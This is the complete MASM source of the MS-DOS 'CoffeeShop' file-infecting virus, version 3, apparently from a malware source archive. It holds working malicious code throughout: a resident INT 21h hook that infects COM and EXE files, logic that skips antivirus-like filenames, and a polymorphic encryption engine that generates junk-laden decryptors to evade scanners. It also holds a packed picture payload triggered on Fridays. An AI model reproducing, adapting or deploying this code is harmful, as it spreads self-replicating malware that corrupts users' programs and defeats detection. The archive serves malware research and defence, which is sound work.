MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.coffshp3.asm

1674 lines
59 KiB
NASM
Raw Normal View History

2021-01-12 23:34:47 +00:00
;******************************************************************************
;* CoffeeShop VIRUS version 3
;*
;* Use MASM 4.0 to compile this source
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;******************************************************************************
.RADIX 16
_TEXT segment
assume cs:_TEXT, ds:_TEXT
VERSION equ 3
PICLEN equ last - beeld ;length of picture routine
FILELEN equ last - first ;length of virus
FILEPAR equ (FILELEN + 0F)/10 ;length of virus in paragraphs
VIRPAR equ 00D0 ;space for resident virus
WORKPAR equ 0160 ;work space for engine
STACKOFF equ 1000 ;Stack offset
DATAPAR equ 0050 ;extra memory allocated
BUFLEN equ 1C ;length of buffer
;****************************************************************************
;* data area for virus
;****************************************************************************
org 00E0
mutstack dw 0, 0
oldlen dw 0, 0
oi21 dw 0, 0
minibuf db 0, 0, 0, 0
;****************************************************************************
;* data area for engine
;****************************************************************************
add_val dw 0
xor_val dw 0
xor_offset dw 0
where_len dw 0
where_len2 dw 0
flags db 0
;******************************************************************************
;* Begin of virus, installation in memory
;******************************************************************************
org 0100
first: call next ;get IP
next: pop si
sub si,low 3 ;SI = begin virus
mov di,0100
cld
push ax ;save registers
push ds
push es
push di
push si
mov ah,30 ;DOS version >= 3.1?
int 21
xchg ah,al
cmp ax,030A
jb not_install
mov ax,33DA ;already resident?
int 21
cmp ah,0A5
je not_install
mov ax,es ;adjust memory-size
dec ax
mov ds,ax
xor bx,bx
cmp byte ptr [bx],5A
jne not_install
mov ax,[bx+3]
sub ax,(VIRPAR+WORKPAR)
jb not_install
mov [bx+3],ax
sub word ptr ds:[bx+12],(VIRPAR+WORKPAR)
mov es,[bx+12] ;copy program to top
push cs
pop ds
mov cx,FILELEN
rep movsb
push es
pop ds
mov ax,3521 ;get original int21 vector
int 21
mov ds:[oi21],bx
mov ds:[oi21+2],es
mov dx,offset ni21 ;install new int21 handler
mov ax,2521
int 21
mov ax,33DBh ;init. random nr. generator
int 21
mov ah,2A ;ask date
int 21
cmp al,5 ;friday ?
jne not_install
mov ah,2C ;ask time
int 21
or dh,dh ;sec = 0 ?
jnz not_install
mov ax,33DC ;show picture
int 21
not_install: pop si ;restore registers
pop di
pop es
pop ds
pop ax
add si,(offset buffer)
sub si,di
cmp byte ptr cs:[si],4Dh ;COM or EXE ?
je entryE
entryC: push di
mov cx,BUFLEN
rep movsb
ret
entryE: mov bx,ds ;calculate CS
add bx,low 10
mov cx,bx
add bx,cs:[si+0E]
cli ;restore SS and SP
mov ss,bx
mov sp,cs:[si+10]
sti
add cx,cs:[si+16]
push cx ;push new CS on stack
push cs:[si+14] ;push new IP on stack
db 0CBh ;retf
;******************************************************************************
;* Interupt 24 handler
;******************************************************************************
ni24: mov al,3 ;to avoid 'Abort, Retry, ...'
iret
;******************************************************************************
;* Interupt 21 handler
;******************************************************************************
ni21: pushf
cmp ax,33DA ;install-check ?
jne not_ic
mov ax,0A500+VERSION ;return a signature
popf
iret
not_ic: push es ;save registers
push ds
push si
push di
push dx
push cx
push bx
push ax
cmp ax,33DBh ;rnd init ?
jne not_ri
call rnd_init
jmp short no_infect
not_ri: cmp ax,33DC ;show picture?
je show_pic
not_pi: cmp ax,4B00 ;execute ?
je do_it
cmp ax,6C00 ;open DOS 4.0+ ?
jne no_infect
test bl,3
jnz no_infect
mov dx,di
do_it: call infect
no_infect: pop ax ;restore registers
pop bx
pop cx
pop dx
pop di
pop si
pop ds
pop es
popf
org21: jmp dword ptr cs:[oi21] ;call to old int-handler
;******************************************************************************
;* Show picture
;******************************************************************************
show_pic: mov ax,offset no_infect ;push return adres on stack
push cs
push ax
mov di,((VIRPAR*10)+0100) ;move picture routine
mov si,offset beeld
mov cx,PICLEN
push cs
pop ds
push cs
pop es
rep movsb
mov ax,cs ;calculate segment registers
add ax,low VIRPAR
mov ds,ax
mov es,ax
push ax ;push picture adres on stack
mov ax,0100
push ax
db 0CBh ;(retf) goto picture routine
;******************************************************************************
;* Tries to infect the file
;******************************************************************************
infect: cld
push cs ;copy filename to CS:0000
pop es
mov si,dx
xor di,di
mov cx,0080
namemove: lodsb
cmp al,0
je moved
cmp al,'a'
jb char_ok
cmp al,'z'
ja char_ok
xor al,20 ;convert to upper case
char_ok: stosb
loop namemove
return0: ret
moved: stosb ;put last zero after filename
lea si,[di-5]
push cs
pop ds
lodsw ;check extension .COM or .EXE
cmp ax,'E.'
jne not_exe
lodsw
cmp ax,'EX'
jmp short check
not_exe: cmp ax,'C.'
jne return0
lodsw
cmp ax,'MO'
check: jne return0
std ;find begin of filename
mov cx,si
inc cx
searchbegin: lodsb
cmp al,':'
je checkname
cmp al,'\'
je checkname
loop searchbegin
dec si
checkname: cld ;check filename
lodsw
lodsw
mov di,offset names
mov cl,13
repnz scasw
je return0
mov ax,3300 ;get ctrl-break flag
int 21
push dx ;save flag on stack
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524 ;get int24 vector
int 21
push es ;save vector on stack
push bx
push cs
pop ds
mov dx,offset ni24 ;install new int24 handler
mov ah,25
push ax
int 21
mov ax,4300 ;ask file-attributes
cwd
int 21
push cx ;save attributes on stack
xor cx,cx ;clear attributes
mov ax,4301
push ax
int 21
jc return1v
mov ax,3D02 ;open the file
int 21
jnc opened
return1v: jmp return1
opened: xchg ax,bx ;save handle
mov ax,5700 ;get file date & time
int 21
push dx ;save date & time on stack
push cx
mov cx,BUFLEN ;read begin of file
mov si,offset buffer
mov dx,si
call read
jc closev
mov ax,4202 ;goto end, get filelength
xor cx,cx
cwd
int 21
mov di,offset oldlen ;save filelength
mov [di],ax
mov [di+2],dx
mov ax,word ptr [si+12] ;already infected?
add al,ah
cmp al,'@'
jz closev
cmp word ptr [si],'ZM' ;EXE ?
je do_EXE
do_COM: test byte ptr [si],80 ;maybe a strange EXE?
jz closev
mov ax,word ptr [di] ;check lenght of file
cmp ah,0D0
jae closev
cmp ah,1
jb closev
mov dx,ax
add dx,0100
call writeprog ;call Engine and write virus
jne closev
mov byte ptr [si],0E9 ;put 'JMP xxxx' at begin
sub ax,low 3
mov word ptr [si+1],ax
jmp done
closev: jmp close
do_EXE: cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ?
jb not_win
mov ax,003C
cwd
call readbytes
jc closev
mov ax,word ptr [di+8]
mov dx,word ptr [di+0A]
call readbytes
jc closev
cmp byte ptr [di+9],'E'
je closev
not_win: call getlen
call calclen ;check for internal overlays
cmp word ptr [si+4],ax
jne close
cmp word ptr [si+2],dx
jne close
cmp word ptr [si+0C],0 ;high memory allocation?
je close
cmp word ptr [si+1A],0 ;overlay nr. not zero?
jne close
call getlen ;calculate new CS & IP
mov cx,0010
div cx
sub ax,word ptr [si+8]
dec ax
add dx,low 10
call writeprog ;call Engine and write virus
jne close
mov word ptr [si+16],ax ;put CS in header
mov word ptr [si+0E],ax ;put SS in header
mov word ptr [si+14],dx ;put IP in header
mov word ptr [si+10],STACKOFF ;put SP in header
call getlen
add ax,cx
adc dx,0
call calclen ;put new length in header
mov word ptr [si+4],ax
mov word ptr [si+2],dx
lea di,[si+0A] ;adjust mem. allocation info
call mem_adjust
lea di,[si+0C]
call mem_adjust
done: call gotobegin
call rnd_get ;signature
mov ah,'@'
sub ah,al
mov word ptr [si+12],ax
mov cx,BUFLEN ;write new begin
mov dx,si
mov ah,40
int 21
close: pop cx ;restore date & time
pop dx
mov ax,5701
int 21
mov ah,3E ;close the file
int 21
return1: pop ax ;restore attributes
pop cx
cwd
int 21
pop ax ;restore int24 vector
pop dx
pop ds
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
ret
;******************************************************************************
;* Filenames to avoid
;******************************************************************************
names: db 'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI'
db 'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' '
db ' ', ' ', ' '
;******************************************************************************
;* Write virus to the program
;******************************************************************************
writeprog: push ax ;save registers
push dx
push si
push bp
push es
cli
mov word ptr [di-4],ss ;save SS & SP
mov word ptr [di-2],sp
mov ax,cs ;new stack & buffer-segment
mov ss,ax
mov sp,((VIRPAR + WORKPAR) * 10)
add ax,low VIRPAR
mov es,ax
sti
push ds
mov bp,dx ;input parameters for engine
mov dx,0100
mov cx,FILELEN
xor si,si
mov al,0Fh
push di
push bx
call crypt ;call the Engine
pop bx
pop di
push cx
push dx
mov ax,4202 ;goto end
xor cx,cx
cwd
int 21
pop dx
pop cx
mov ah,40 ;write virus
int 21
cmp ax,cx ;are all bytes written?
pop ds
cli
mov ss,word ptr [di-4] ;restore stack
mov sp,word ptr [di-2]
sti
pop es ;restore registers
pop bp
pop si
pop dx
pop ax
ret
;******************************************************************************
;* Adjust mem allocation info in EXE header
;******************************************************************************
mem_adjust: mov ax,[di]
sub ax,low FILEPAR ;alloc. may be this much less
jb more
cmp ax,DATAPAR ;minimum amount to allocate
jae mem_ok
more: mov ax,DATAPAR
mem_ok: mov [di],ax
ret
;******************************************************************************
;* Read a few bytes
;******************************************************************************
readbytes: call goto
mov dx,offset minibuf
mov cx,4
read: mov ah,3F
int 21
ret
;******************************************************************************
;* Calculate length for EXE header
;******************************************************************************
calclen: mov cx,0200
div cx
or dx,dx
jz no_cor
inc ax
no_cor: ret
;******************************************************************************
;* Get original length of program
;******************************************************************************
getlen: mov ax,[di]
mov dx,[di+2]
ret
;******************************************************************************
;* Goto new offset DX:AX
;******************************************************************************
gotobegin: xor ax,ax
cwd
goto: xchg cx,dx
xchg ax,dx
mov ax,4200
int 21
ret
;****************************************************************************
;*
;* Encryption Engine
;*
;*
;* Input: ES work segment
;* DS:DX code to encrypt
;* BP what will be start of decryptor
;* SI what will be distance between decryptor and code
;* CX length of code
;* AX flags: bit 0: DS will not be equal to CS
;* bit 1: insert random instructions
;* bit 2: put junk before decryptor
;* bit 3: preserve AX with decryptor
;*
;* Output: ES: work segment (preserved)
;* DS:DX decryptor + encrypted code
;* BP what will be start of decryptor (preserved)
;* DI length of decryptor / offset of encrypted code
;* CX length of decryptor + encrypted code
;* AX length of encrypted code
;* (other registers may be trashed)
;*
;****************************************************************************
db '[ MK / Trident ]'
crypt: xor di,di ;di = start of decryptor
push dx ;save offset of code
push si ;save future offset of code
mov byte ptr ds:[flags],al ;save flags
test al,8 ;push AX?
jz no_push
mov al,50
stosb
no_push: call rnd_get ;add a few bytes to cx
and ax,1F
add cx,ax
push cx ;save length of code
call rnd_get ;get random flags
xchg ax,bx
;BX flags:
;0,1 how to encrypt
;2,3 which register for encryption
;4 use byte or word for encrypt
;5 MOV AL, MOV AH or MOV AX
;6 MOV CL, MOV CH or MOV CX
;7 AX or DX
;8 count up or down
;9 ADD/SUB/INC/DEC or CMPSW/SCASW
;A ADD/SUB or INC/DEC
; CMPSW or SCASW
;B offset in XOR instruction?
;C LOOPNZ or LOOP
; SUB CX or DEC CX
;D carry with crypt ADD/SUB
;E carry with inc ADD/SUB
;F XOR instruction value or AX/DX
random: call rnd_get ;get random encryption value
or al,al
jz random ;again if 0
mov ds:[xor_val],ax
call do_junk ;insert random instructions
pop cx
mov ax,0111 ;make flags to remember which
test bl,20 ; MOV instructions are used
jnz z0
xor al,07
z0: test bl,0C
jnz z1
xor al,70
z1: test bl,40
jnz z2
xor ah,7
z2: test bl,10
jnz z3
and al,73
z3: test bh,80
jnz z4
and al,70
z4: mov dx,ax
mov_lup: call rnd_get ;put MOV instructions in
and ax,000F ; a random order
cmp al,0A
ja mov_lup
mov si,ax
push cx ;test if MOV already done
xchg ax,cx
mov ax,1
shl ax,cl
mov cx,ax
and cx,dx
pop cx
jz mov_lup
xor dx,ax ;remember which MOV done
push dx
call do_mov ;insert MOV instruction
call do_nop ;insert a random NOP
pop dx
or dx,dx ;all MOVs done?
jnz mov_lup
push di ;save start of decryptor loop
call do_add_ax ;add a value to AX in loop?
call do_nop
test bh,20 ;carry with ADD/SUB ?
jz no_clc
mov al,0F8
stosb
no_clc: mov word ptr ds:[xor_offset],0
call do_xor ;place all loop instructions
call do_nop
call do_add
pop dx ;get start of decryptor loop
call do_loop
test byte ptr ds:[flags],8 ;insert POP AX ?
jz no_pop
mov al,58
stosb
no_pop: xor ax,ax ;calculate loop offset
test bh,1 ;up or down?
jz v1
mov ax,cx
dec ax
test bl,10 ;encrypt with byte or word?
jz v1
and al,0FE
v1: add ax,di
add ax,bp
pop si
add ax,si
sub ax,word ptr ds:[xor_offset]
mov si,word ptr ds:[where_len]
test bl,0C ;are BL,BH used for encryption?
jnz v2
mov byte ptr es:[si],al
mov si,word ptr ds:[where_len2]
mov byte ptr es:[si],ah
jmp short v3
v2: mov word ptr es:[si],ax
v3: mov dx,word ptr ds:[xor_val] ;encryption value
pop si ;ds:si = start of code
push di ;save ptr to encrypted code
push cx ;save length of encrypted code
test bl,10 ;byte or word?
jz blup
inc cx ;cx = # of crypts (words)
shr cx,1
lup: lodsw ;encrypt code (words)
call do_encrypt
stosw
loop lup
jmp short klaar
blup: lodsb ;encrypt code (bytes)
xor dh,dh
call do_encrypt
stosb
loop blup
klaar: mov cx,di ;cx = length decryptpr + code
pop ax ;ax = length of decrypted code
pop di ;di = offset encrypted code
xor dx,dx ;ds:dx = decryptor + cr. code
push es
pop ds
ret
;****************************************************************************
;* encrypt the code
;****************************************************************************
do_encrypt: add dx,word ptr ds:[add_val]
test bl,2
jnz lup1
xor ax,dx
ret
lup1: test bl,1
jnz lup2
sub ax,dx
ret
lup2: add ax,dx
ret
;****************************************************************************
;* generate mov reg,xxxx
;****************************************************************************
do_mov: mov dx,si
mov al,byte ptr ds:[si+mov_byte]
cmp dl,4 ;BX?
jne is_not_bx
call add_ind
is_not_bx: test dl,0C ;A*?
pushf
jnz is_not_a
test bl,80 ;A* or D*?
jz is_not_a
add al,2
is_not_a: call alter ;insert the MOV
popf ;A*?
jnz is_not_a2
mov ax,word ptr ds:[xor_val]
jmp short sss
is_not_a2: test dl,8 ;B*?
jnz is_not_b
mov si,offset where_len
test dl,2
jz is_not_bh
add si,2
is_not_bh: mov word ptr ds:[si],di
jmp short sss
is_not_b: mov ax,cx ;C*
test bl,10 ;byte or word encryption?
jz sss
inc ax ;only half the number of bytes
shr ax,1
sss: test dl,3 ;byte or word register?
jz is_x
test dl,2 ;*H?
jz is_not_h
xchg al,ah
is_not_h: stosb
ret
is_x: stosw
ret
;****************************************************************************
;* insert MOV or alternative for MOV
;****************************************************************************
alter: push bx
push cx
push ax
call rnd_get
xchg ax,bx
pop ax
test bl,3 ;use alternative for MOV?
jz no_alter
push ax
and bx,0F
and al,08
shl ax,1
or bx,ax
pop ax
and al,7
mov cl,9
xchg ax,cx
mul cl
add ax,30C0
xchg al,ah
test bl,4
jz no_sub
mov al,28
no_sub: call maybe_2
stosw
mov al,80
call maybe_2
stosb
mov ax,offset add_mode
xchg ax,bx
and ax,3
xlat
add al,cl
no_alter: stosb
pop cx
pop bx
ret
;****************************************************************************
;* insert ADD AX,xxxx
;****************************************************************************
do_add_ax: push cx
mov si,offset add_val ;save add-value here
mov word ptr ds:[si],0
mov ax,bx
and ax,8110
xor ax,8010
jnz no_add_ax ;use ADD?
mov ax,bx
xor ah,ah
mov cl,3
div cl
or ah,ah
jnz no_add_ax ;use ADD?
test bl,80
jnz do_81C2 ;AX or DX?
mov al,5
stosb
jmp short do_add0
do_81C2: mov ax,0C281
stosw
do_add0: call rnd_get
mov word ptr ds:[si],ax
stosw
no_add_ax: pop cx
ret
;****************************************************************************
;* generate encryption command
;****************************************************************************
do_xor: test byte ptr ds:[flags],1
jz no_cs
mov al,2E ;insert CS: instruction
stosb
no_cs: test bh,80 ;type of XOR command
jz xor1
call get_xor ;encrypt with register
call do_carry
call save_it
xor ax,ax
test bl,80
jz xxxx
add al,10
xxxx: call add_dir
test bh,8
jnz yyyy
stosb
ret
yyyy: or al,80
stosb
call rnd_get
stosw
mov word ptr ds:[xor_offset],ax
ret
xor1: mov al,080 ;encrypt with value
call save_it
call get_xor
call do_carry
call xxxx
mov ax,word ptr ds:[xor_val]
test bl,10
jmp byte_word
;****************************************************************************
;* generate increase/decrease command
;****************************************************************************
do_add: test bl,8 ;no CMPSW/SCASW if BX is used
jz da0
test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW
jnz do_cmpsw
da0: test bh,4 ;ADD/SUB or INC/DEC?
jz add1
mov al,40 ;INC/DEC
test bh,1 ;up or down?
jz add0
add al,8
add0: call add_ind
stosb
test bl,10 ;byte or word?
jz return
stosb ;same instruction again
return: ret
add1: test bh,40 ;ADD/SUB
jz no_clc2 ;carry?
mov al,0F8 ;insert CLC
stosb
no_clc2: mov al,083
stosb
mov al,0C0
test bh,1 ;up or down?
jz add2
mov al,0E8
add2: test bh,40 ;carry?
jz no_ac2
and al,0CF
or al,10
no_ac2: call add_ind
stosb
mov al,1 ;value to add/sub
save_it: call add_1
stosb
ret
do_cmpsw: test bh,1 ;up or down?
jz no_std
mov al,0FDh ;insert STD
stosb
no_std: test bh,4 ;CMPSW or SCASW?
jz normal_cmpsw
test bl,4 ;no SCASW if SI is used
jnz do_scasw
normal_cmpsw: mov al,0A6 ;CMPSB
jmp short save_it
do_scasw: mov al,0AE ;SCASB
jmp short save_it
;****************************************************************************
;* generate loop command
;****************************************************************************
do_loop: test bh,1 ;no JNE if couting down
jnz loop_loop ; (prefetch bug!)
call rnd_get
test al,1 ;LOOPNZ/LOOP or JNE?
jnz cx_loop
loop_loop: mov al,0E0
test bh,1A ;LOOPNZ or LOOP?
jz ll0 ; no LOOPNZ if xor-offset
add al,2 ; no LOOPNZ if CMPSW/SCASW
ll0: stosb
mov ax,dx
sub ax,di
dec ax
stosb
ret
cx_loop: test bh,10 ;SUB CX or DEC CX?
jnz cxl_dec
mov ax,0E983
stosw
mov al,1
stosb
jmp short do_jne
cxl_dec: mov al,49
stosb
do_jne: mov al,75
jmp short ll0
;****************************************************************************
;* add value to AL depending on register type
;****************************************************************************
add_dir: mov si,offset dir_change
jmp short xx1
add_ind: mov si,offset ind_change
xx1: push bx
shr bl,1
shr bl,1
and bx,3
add al,byte ptr ds:[bx+si]
pop bx
ret
;****************************************************************************
;* mov encryption command byte to AL
;****************************************************************************
get_xor: push bx
mov ax,offset how_mode
xchg ax,bx
and ax,3
xlat
pop bx
ret
;****************************************************************************
;* change ADD into ADC
;****************************************************************************
do_carry: test bl,2 ;ADD/SUB used for encryption?
jz no_ac
test bh,20 ;carry with (encr.) ADD/SUB?
jz no_ac
and al,0CF
or al,10
no_ac: ret
;****************************************************************************
;* change AL (byte/word)
;****************************************************************************
add_1: test bl,10
jz add_1_ret
inc al
add_1_ret: ret
;****************************************************************************
;* change AL (byte/word)
;****************************************************************************
maybe_2: call add_1
cmp al,81 ;can't touch this
je maybe_not
push ax
call rnd_get
test al,1
pop ax
jz maybe_not
add al,2
maybe_not: ret
;****************************************************************************
;* get random nop (or not)
;****************************************************************************
do_nop: test byte ptr ds:[flags],2
jz no_nop
yes_nop: call rnd_get
test al,3
jz nop8
test al,2
jz nop16
test al,1
jz nop16x
no_nop: ret
;****************************************************************************
;* Insert random instructions
;****************************************************************************
do_junk: test byte ptr ds:[flags],4
jz no_junk
call rnd_get ;put a random number of
and ax,0F ; dummy instructions before
inc ax ; decryptor
xchg ax,cx
junk_loop: call junk
loop junk_loop
no_junk: ret
;****************************************************************************
;* get rough random nop (may affect register values)
;****************************************************************************
junk: call rnd_get
and ax,1E
jmp short aa0
nop16x: call rnd_get
and ax,06
aa0: xchg ax,si
call rnd_get
jmp word ptr ds:[si+junkcals]
;****************************************************************************
;* NOP and junk addresses
;****************************************************************************
junkcals dw offset nop16x0
dw offset nop16x1
dw offset nop16x2
dw offset nop16x3
dw offset nop8
dw offset nop16
dw offset junk6
dw offset junk7
dw offset junk8
dw offset junk9
dw offset junkA
dw offset junkB
dw offset junkC
dw offset junkD
dw offset junkE
dw offset junkF
;****************************************************************************
;* NOP and junk routines
;****************************************************************************
nop16x0: and ax,000F ;J* 0000 (conditional)
or al,70
stosw
ret
nop16x1: mov al,0EBh ;JMP xxxx / junk
and ah,07
inc ah
stosw
xchg al,ah ;get lenght of bullshit
cbw
jmp fill_bullshit
nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg
stosb
ret
nop16x3: call junkF ;INC / DEC or DEC / INC
xor al,8
stosb
ret
nop8: push bx ;8-bit NOP
and al,7
mov bx,offset nop_data8
xlat
stosb
pop bx
ret
nop16: push bx ;16-bit NOP
and ax,0303
mov bx,offset nop_data16
xlat
add al,ah
stosb
call rnd_get
and al,7
mov bl,9
mul bl
add al,0C0
stosb
pop bx
ret
junk6: push cx ;CALL xxxx / junk / POP reg
mov al,0E8
and ah,0F
inc ah
stosw
xor al,al
stosb
xchg al,ah
call fill_bullshit
call do_nop
call rnd_get ;insert POP reg
and al,7
call no_sp
mov cx,ax
or al,58
stosb
test ch,3 ;more?
jnz junk6_ret
call do_nop
mov ax,0F087 ;insert XCHG SI,reg
or ah,cl
test ch,8
jz j6_1
mov al,8Bh
j6_1: stosw
call do_nop
push bx
call rnd_get
xchg ax,bx
and bx,0F7FBh ;insert XOR [SI],xxxx
or bl,8
call do_xor
pop bx
junk6_ret: pop cx
ret
junk7: and al,0F ;MOV reg,xxxx
or al,0B0
call no_sp
stosb
test al,8
pushf
call rnd_get
popf
jmp short byte_word
junk8: and ah,39 ;DO r/m,r(8/16)
or al,0C0
call no_sp
xchg al,ah
stosw
ret
junk9: and al,3Bh ;DO r(8/16),r/m
or al,2
and ah,3F
call no_sp2
call no_bp
stosw
ret
junkA: and ah,1 ;DO rm,xxxx
or ax,80C0
call no_sp
xchg al,ah
stosw
test al,1
pushf
call rnd_get
popf
jmp short byte_word
junkB: call nop8 ;NOP / LOOP
mov ax,0FDE2
stosw
ret
junkC: and al,09 ;CMPS* or SCAS*
test ah,1
jz mov_test
or al,0A6
stosb
ret
mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx
stosb
cmp al,0A8
pushf
call rnd_get
popf
jmp short byte_word
junkD: and al,07 ;XCHG AX,reg
or al,90
call no_sp
stosb
ret
junkE: and ah,07 ;PUSH reg / POP reg
or ah,50
mov al,ah
or ah,08
stosw
ret
junkF: and al,0F ;INC / DEC
or al,40
call no_sp
stosb
ret
;****************************************************************************
;* store a byte or a word
;****************************************************************************
byte_word: jz only_byte
stosw
ret
only_byte: stosb
ret
;****************************************************************************
;* don't fuck with SP!
;****************************************************************************
no_sp: push ax
and al,7
cmp al,4
pop ax
jnz no_sp_ret
and al,0FBh
no_sp_ret: ret
;****************************************************************************
;* don't fuck with SP!
;****************************************************************************
no_sp2: push ax
and ah,38
cmp ah,20
pop ax
jnz no_sp2_ret
xor ah,20
no_sp2_ret: ret
;****************************************************************************
;* don't use [BP+..]
;****************************************************************************
no_bp: test ah,4
jnz no_bp2
and ah,0FDh
ret
no_bp2: push ax
and ah,7
cmp ah,6
pop ax
jnz no_bp_ret
or ah,1
no_bp_ret: ret
;****************************************************************************
;* write byte for JMP/CALL and fill with random bullshit
;****************************************************************************
fill_bullshit: push cx
xchg ax,cx
bull_lup: call rnd_get
stosb
loop bull_lup
pop cx
ret
;****************************************************************************
;* random number generator (stolen from 'Bomber')
;****************************************************************************
rnd_init: push cx
call rnd_init0 ;init
and ax,000F
inc ax
xchg ax,cx
random_lup: call rnd_get ;call random routine a few
loop random_lup ; times to 'warm up'
pop cx
ret
rnd_init0: push dx ;initialize generator
push cx
mov ah,2C
int 21
in al,40
mov ah,al
in al,40
xor ax,cx
xor dx,ax
jmp short move_rnd
rnd_get: push dx ;calculate a random number
push cx
push bx
mov ax,0 ;will be: mov ax,xxxx
mov dx,0 ; and mov dx,xxxx
mov cx,7
rnd_lup: shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_l2
inc al
rnd_l2: loop rnd_lup
pop bx
move_rnd: mov word ptr ds:[rnd_get+4],ax
mov word ptr ds:[rnd_get+7],dx
mov al,dl
pop cx
pop dx
ret
;****************************************************************************
;* tables for engine
;****************************************************************************
; AX AL AH (BX) BL BH CX CL CH
mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
; nop clc stc cmc cli cld incbp decbp
nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh
; or and xchg mov
nop_data16 db 8, 20, 84, 88
; bl/bh, bx, si di
dir_change db 07, 07, 04, 05
ind_change db 03, 03, 06, 07
; xor xor add sub
how_mode db 30, 30, 00, 28
; ? add xor or
add_mode db 0, 0C8, 0F0, 0C0
;****************************************************************************
;* text + buffer
;****************************************************************************
db ' Amsterdam = COFFEESHOP! '
buffer db 0CDh, 20 ;original code of dummy program
db (BUFLEN-2) dup (?)
;****************************************************************************
;* the (packed) picture routine
;****************************************************************************
beeld db 0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh
db 001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
db 0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h
db 00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h
db 0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch
db 004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h
db 022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh
db 0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh
db 081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h
db 003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch
db 0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h
db 002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh
db 0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh
db 0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh
db 0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh
db 0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h
db 084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h
db 083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h
db 001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h
db 0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh
db 0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h
db 0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h
db 0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h
db 01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h
db 061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h
db 0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h
db 009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h
db 05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh
db 0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch
db 020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh
db 0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h
db 0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh
db 060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh
db 022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh
db 0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h
db 041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h
db 009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh
db 01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h
db 09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh
db 084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh
db 053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h
db 01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h
db 0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h
db 07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h
db 076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h
db 055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h
db 084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh
db 0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h
db 050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh
db 070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh
db 020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h
db 019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh
db 0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h
db 083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh
